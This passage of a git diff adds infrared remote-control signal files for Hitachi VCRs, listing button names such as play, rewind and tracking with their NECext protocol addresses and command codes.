VTR1_COUNTER_MEMO +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 44 00 00 00 +# +name: COUNTER_MEMORY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 44 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 45 00 00 00 +# +name: VCR1_INDEX +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 45 00 00 00 +# +name: VCR1_GO-TO_INDEX +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 45 00 00 00 +# +name: GO-TO_INDEX +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 45 00 00 00 +# +name: VTR1_INDEX +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 45 00 00 00 +# +name: VCR1_INDEX_GO-TO +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 45 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 46 00 00 00 +# +name: COUNTER/REMAIN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 46 00 00 00 +# +name: VCR1_COUNT_CLOCK +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 46 00 00 00 +# +name: COUNTER_REMAIN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 46 00 00 00 +# +name: VCR1_COUNTER_REMAIN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 46 00 00 00 +# +name: VCR1_REMAIN_MODE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 46 00 00 00 +# +name: VTR1_COUNT_REMAIN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 46 00 00 00 +# +name: CLOCK_COUNTER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 46 00 00 00 +# +name: VCR1_MODE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 46 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 47 00 00 00 +# +name: VCR1_REPEAT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 47 00 00 00 +# +name: VCR1_TV_MONITOR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 63 00 00 00 +# +name: VCR1_EDIT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 64 00 00 00 +# +name: VCR1_SET +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 65 00 00 00 +# +name: CENTER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 68 00 00 00 +# +name: VCR1_JOG/SHUTTLE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 68 00 00 00 +# +name: SKIPFF +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 69 00 00 00 +# +name: SKIPRR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 6A 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 6B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 6E 00 00 00 +# +name: VCR1_SHUTTLE_FWD +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 75 00 00 00 +# +name: VCR1_SHUT_FWD_(F.S.) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 75 00 00 00 +# +name: VCR1_SHUT_FWD_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 75 00 00 00 +# +name: VCR_SHUT_FWD +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 75 00 00 00 +# +name: VCR1_SHUT.FWD(F.S) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 75 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 75 00 00 00 +# +name: VCR1_SHUTTLE_REW +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 76 00 00 00 +# +name: VCR1_SHUT_REV_(F.S.) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 76 00 00 00 +# +name: VCR1_SHUT_REV_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 76 00 00 00 +# +name: VCR_SHUT_REV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 76 00 00 00 +# +name: VCR1_SHUT.REV(F.S) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 76 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 7D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 7D 00 00 00 +# +name: VCR1_JOG_FWD +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 7D 00 00 00 +# +name: JOG_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 7D 00 00 00 +# +name: VCR1_JOG_FORWARD +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 7D 00 00 00 +# +name: VCR1_JOG/SHU.FORWARD +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 7D 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 7E 00 00 00 +# +name: VCR1_JOG_REW +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 7E 00 00 00 +# +name: VCR1_JOG_REV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 7E 00 00 00 +# +name: JOG_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 7E 00 00 00 +# +name: VCR1_JOG_REVERSE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 7E 00 00 00 +# +name: VCR1_JOG/SHU.REVERSE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 7E 00 00 00 +# +name: SHUTTLE_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 83 00 00 00 +# +name: SHUTTLE_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 84 00 00 00 +# +name: GO-TO +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 86 00 00 00 +# +name: VCR1_GO-TO +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 86 00 00 00 +# +name: TITLE_(LAST_CH) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8A 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8A 00 00 00 +# +name: VCR1_TITLE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8A 00 00 00 +# +name: VCR_100/ENT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8B 00 00 00 +# +name: VCR1_100/ENT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8B 00 00 00 +# +name: 100/ENT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8B 00 00 00 +# +name: VCR1_+100 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8B 00 00 00 +# +name: VCR1_+100/ENT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8B 00 00 00 +# +name: VCR1_MTS_SA_SET +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8C 00 00 00 +# +name: VCR1_PRINT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8E 00 00 00 +# +name: SPECTRA_SONIC +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8F 00 00 00 +# +name: VCR1_SPECTRA_SONIC +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/96,158.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/96,158.ir new file mode 100644 index 000000000..a967b892d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/96,158.ir @@ -0,0 +1,1436 @@ +Filetype: IR signals file +Version: 1 +# +name: AUTO_TRACKING_^ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 00 00 00 00 +# +name: VCR2_TRACKING_^ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 00 00 00 00 +# +name: VCR2_AUTO_TRK_^ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 00 00 00 00 +# +name: VCR2_MANUAL_^ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 00 00 00 00 +# +name: TRACKING_^ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 00 00 00 00 +# +name: VTR2_TRACKING_^ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 00 00 00 00 +# +name: AUTO_TRACKING_V +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 01 00 00 00 +# +name: VCR2_TRACKING_V +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 01 00 00 00 +# +name: VCR2_AUTO_TRK_V +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 01 00 00 00 +# +name: VCR2_MANUAL_V +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 01 00 00 00 +# +name: TRACKING_V +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 01 00 00 00 +# +name: VTR2_TRACKING_V +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 01 00 00 00 +# +name: SLOW_SPEED_+ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 02 00 00 00 +# +name: VCR2_SLOW_+ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 02 00 00 00 +# +name: VCR2_SLOW_SPEED_+ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 02 00 00 00 +# +name: VCR2_SLOW_^ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 02 00 00 00 +# +name: VTR2_SLOW_SPEED_+ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 02 00 00 00 +# +name: VCR2_SLOW +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 02 00 00 00 +# +name: SLOW_SPEED_- +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 03 00 00 00 +# +name: VCR2_SLOW_- +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 03 00 00 00 +# +name: VCR2_SLOW_SPEED_- +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 03 00 00 00 +# +name: VCR2_SLOW_V +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 03 00 00 00 +# +name: VTR2_SLOW_SPEED_- +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 03 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 04 00 00 00 +# +name: VCR2_8 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 04 00 00 00 +# +name: VCR2_8_(AM) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 04 00 00 00 +# +name: CAM_8 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 04 00 00 00 +# +name: VTR2_8_(T_U_V) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 04 00 00 00 +# +name: VCR2_8_AM +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 04 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 05 00 00 00 +# +name: VCR2_9 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 05 00 00 00 +# +name: VCR2_9_(PM) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 05 00 00 00 +# +name: CAM_9 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 05 00 00 00 +# +name: VTR2_9_(W_X_Y) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 05 00 00 00 +# +name: VCR2_9_PM +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 05 00 00 00 +# +name: VCR2_100/ENT +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 06 00 00 00 +# +name: CAM_100/ENT +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 06 00 00 00 +# +name: FFWD/VISUAL_SRCH_>> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 09 00 00 00 +# +name: VCR2_FFWD>> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 09 00 00 00 +# +name: VCR2_FFWD_>> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 09 00 00 00 +# +name: VCR2_FF/V.SRCH_>> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 09 00 00 00 +# +name: VCR2_F.FWD/VI.SRCH +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 09 00 00 00 +# +name: CAM_F.FWD_>> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 09 00 00 00 +# +name: VCR2_F.FWD/SRCH_>> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 09 00 00 00 +# +name: VCR2_F.FWD_>> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 09 00 00 00 +# +name: F.FWD_>> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 09 00 00 00 +# +name: VTR2_FF/VI.SRCH_>> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 09 00 00 00 +# +name: REW/VISUAL_SRCH_<< +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0A 00 00 00 +# +name: VCR2_REW<< +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0A 00 00 00 +# +name: VCR2_REW_<< +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0A 00 00 00 +# +name: VCR2_REW/V.SRCH_<< +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0A 00 00 00 +# +name: VCR2_REW/VISUAL_SRCH +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0A 00 00 00 +# +name: CAM_REW_<< +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0A 00 00 00 +# +name: VCR2_REW/SRCH_<< +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0A 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0A 00 00 00 +# +name: VTR2_REW/VI.SRCH_<< +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0A 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0B 00 00 00 +# +name: VCR2_STOP[] +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0B 00 00 00 +# +name: VCR2_STOP_[] +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0B 00 00 00 +# +name: CAM_STOP_[] +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0B 00 00 00 +# +name: VTR2_STOP_[] +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0C 00 00 00 +# +name: VCR2_0 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0C 00 00 00 +# +name: CAM_0 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0C 00 00 00 +# +name: VTR2_0_(?_!) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0D 00 00 00 +# +name: VCR2_1 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0D 00 00 00 +# +name: CAM_1 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0D 00 00 00 +# +name: VTR2_1_(Q_Z) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0D 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0E 00 00 00 +# +name: VCR2_2 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0E 00 00 00 +# +name: CAM_2 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0E 00 00 00 +# +name: VTR2_2_(A_B_C) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0E 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0F 00 00 00 +# +name: VCR2_3 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0F 00 00 00 +# +name: CAM_3 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0F 00 00 00 +# +name: VTR2_3_(D_E_F) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 0F 00 00 00 +# +name: F.ADV_> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 10 00 00 00 +# +name: VCR2_F.ADV +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 10 00 00 00 +# +name: VCR2_F.ADV_> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 10 00 00 00 +# +name: VCR2_SKIP/F.ADV_> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 10 00 00 00 +# +name: F.ADV +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 10 00 00 00 +# +name: VTR2_F.ADV_> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 10 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 11 00 00 00 +# +name: VCR2_SLOW_> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 11 00 00 00 +# +name: VCR2_SLOW +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 11 00 00 00 +# +name: VTR2_SLOW +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 11 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 14 00 00 00 +# +name: VCR2_PLAY> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 14 00 00 00 +# +name: VCR2_PLAY_> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 14 00 00 00 +# +name: CAM_PLAY_> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 14 00 00 00 +# +name: VTR2_PLAY_> +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 14 00 00 00 +# +name: VCR2_AUDIO_MONITOR +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 15 00 00 00 +# +name: VTR2_UNKNOWN_2 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 15 00 00 00 +# +name: VCR2_CH1/2 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 15 00 00 00 +# +name: VCR2_MONITOR +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 15 00 00 00 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 16 00 00 00 +# +name: VCR2_VCR/TV +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 16 00 00 00 +# +name: CAM_VCR/TV +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 16 00 00 00 +# +name: VTR2_UNKNOWN_1 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 16 00 00 00 +# +name: VCR2_TV/VCR +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 16 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 17 00 00 00 +# +name: VCR2_OPERATE +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 17 00 00 00 +# +name: VCR2_POWER +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 17 00 00 00 +# +name: CAM_POWER +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 17 00 00 00 +# +name: VTR2_OPERATE +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 17 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 18 00 00 00 +# +name: VCR2_CHANNEL_V +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 18 00 00 00 +# +name: VCR2_CH_V +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 18 00 00 00 +# +name: CAM_CH_V +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 18 00 00 00 +# +name: VTR2_TV_PROGRAMME_V +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 18 00 00 00 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 19 00 00 00 +# +name: VCR2_CHANNEL_^ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 19 00 00 00 +# +name: VCR2_CH_^ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 19 00 00 00 +# +name: CAM_CH_^ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 19 00 00 00 +# +name: VTR2_TV_PROGRAMME_^ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 19 00 00 00 +# +name: PAUSE/STILL_ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1A 00 00 00 +# +name: VCR2_PAUSE +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1A 00 00 00 +# +name: VCR2_PAUSE_ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1A 00 00 00 +# +name: VCR2_PAUSE/STILL_ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1A 00 00 00 +# +name: CAM_PAUSE_ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1A 00 00 00 +# +name: VTR2_PAUSE/STILL_ +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1C 00 00 00 +# +name: VCR2_4 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1C 00 00 00 +# +name: CAM_4 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1C 00 00 00 +# +name: VTR2_4_(G_H_I) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1C 00 00 00 +# +name: VCR2_4_(DAILY) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1D 00 00 00 +# +name: VCR2_5 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1D 00 00 00 +# +name: VCR2_5_(DAILY) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1D 00 00 00 +# +name: CAM_5 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1D 00 00 00 +# +name: VTR2_5_(J_K_L) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1D 00 00 00 +# +name: VCR2_5_DAILY +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1D 00 00 00 +# +name: 6_PL +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1E 00 00 00 +# +name: VCR2_6_(CL) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1E 00 00 00 +# +name: VCR2_6 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1E 00 00 00 +# +name: VCR2_6_PL +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1E 00 00 00 +# +name: VCR2_6_(WEEKLY) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1E 00 00 00 +# +name: CAM_6 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1E 00 00 00 +# +name: VCR2_6_(PL) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1E 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1E 00 00 00 +# +name: VTR2_6_(M_N_O) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1E 00 00 00 +# +name: VCR2_6_WEEKLY +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1F 00 00 00 +# +name: VCR2_7 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1F 00 00 00 +# +name: CAM_7 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1F 00 00 00 +# +name: VTR2_7_(P_R_S) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1F 00 00 00 +# +name: VCR2_7_(WEEKLY) +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1F 00 00 00 +# +name: VCR2_A.DUB +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 2C 00 00 00 +# +name: TAPE_SPEED +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 30 00 00 00 +# +name: VCR2_T.SPEED +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 30 00 00 00 +# +name: VCR2_TAPE_SPEED +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 30 00 00 00 +# +name: VCR2_SP/EP +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 30 00 00 00 +# +name: VTR2_TAPE_SPEED +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 30 00 00 00 +# +name: AVX +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 34 00 00 00 +# +name: VCR2_AUX +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 34 00 00 00 +# +name: VCR2_AVX +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 34 00 00 00 +# +name: VCR2_INPUT +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 34 00 00 00 +# +name: CAM_AVX +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 34 00 00 00 +# +name: VTR2_TRANS_AUX +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 34 00 00 00 +# +name: VCR2_MTS_MONO +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 38 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 39 00 00 00 +# +name: VCR2_EJECT +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 39 00 00 00 +# +name: VTR2_EJECT +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 39 00 00 00 +# +name: VCR2_V.DUB +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 3A 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 3B 00 00 00 +# +name: VCR2_GUIDE +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 3B 00 00 00 +# +name: TV_GUIDE +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 3B 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 3E 00 00 00 +# +name: VCR2_AUTO +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 3E 00 00 00 +# +name: VCR2_TRACKING_AUTO +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 3E 00 00 00 +# +name: VTR2_AUTO +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 3E 00 00 00 +# +name: VCR2_AUTO_TRACKING +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 3E 00 00 00 +# +name: VCR2_MENU +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 40 00 00 00 +# +name: VCR2_GUIDE +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 40 00 00 00 +# +name: CAM_GUIDE +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 40 00 00 00 +# +name: VTR2_MENU_OSD +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 40 00 00 00 +# +name: CLEAR/COUNT_RESET +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 41 00 00 00 +# +name: VCR2_0000 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 41 00 00 00 +# +name: VCR2_CLEAR +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 41 00 00 00 +# +name: VCR2_CLEAR_CNT_RESET +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 41 00 00 00 +# +name: VCR2_RESET +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 41 00 00 00 +# +name: CAM_CLEAR +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 41 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 41 00 00 00 +# +name: VTR2_COUNTER_0000 +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 41 00 00 00 +# +name: VCR2_T-160_RESET +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 41 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 42 00 00 00 +# +name: VCR2_DISPLAY +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 42 00 00 00 +# +name: CAM_DISPLAY +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 42 00 00 00 +# +name: VTR2_DISP_OSD +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 42 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 44 00 00 00 +# +name: VCR2_MEMORY +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 44 00 00 00 +# +name: VCR2_TAPE_RETURN +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 44 00 00 00 +# +name: VTR2_COUNTER_MEMO +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 44 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 45 00 00 00 +# +name: VCR2_INDEX +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 45 00 00 00 +# +name: VCR2_GO-TO_INDEX +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 45 00 00 00 +# +name: GO-TO_INDEX +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 45 00 00 00 +# +name: VTR2_INDEX +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 45 00 00 00 +# +name: VCR2_INDEX_GO-TO +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 45 00 00 00 +# +name: COUNTER_REMAIN +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 46 00 00 00 +# +name: VCR2_COUNT_CLOCK +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 46 00 00 00 +# +name: VCR2_COUNTER_REMAIN +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 46 00 00 00 +# +name: VCR2_REMAIN_MODE +type: parsed +protocol: NECext 